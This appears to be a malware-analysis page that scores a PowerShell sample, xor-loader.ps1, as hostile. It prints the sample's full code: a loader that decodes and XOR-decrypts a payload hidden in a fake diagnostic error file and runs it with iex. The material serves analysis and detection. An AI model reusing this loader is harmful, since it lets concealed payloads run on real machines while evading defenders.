Hostile 99% powershell Download

xor-loader.ps1

PowerShell Base64, repeating-key XOR and IEXPowerShell bitwise XOR operator syntax
SHA-2568628d8997e2c8880d10a6bb172e60bbe7da5b01f35d97919747efc45b0b59e44

Evidence

PowerShell repeating-key XOR loop lines 1–13
1$encrypted = [Convert]::FromBase64String(((gc 'C:\ProgramData\Diagnosis\DiagnosisUTC_Storage_Error.err') -replace '^\w+:\s*', '') -join '')
2$parts = "91u1Wci/M6G6mGpmqeevwQ==:D5BT9C/uBCg=" -split ':'
3$key = [Convert]::FromBase64String($parts[0])
4$salt = [Convert]::FromBase64String($parts[1])
5$mixedKey = New-Object byte[] 16
6for ($i = 0; $i -lt 16; $i++) {
7$mixedKey[$i] = $key[$i] -bxor $salt[$i % $salt.Length]
8}
9$decrypted = New-Object byte[] $encrypted.Length
10for ($i = 0; $i -lt $encrypted.Length; $i++) {
11$decrypted[$i] = $encrypted[$i] -bxor $mixedKey[$i % $mixedKey.Length]
12}
13iex([Text.Encoding]::UTF8.GetString($decrypted))

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.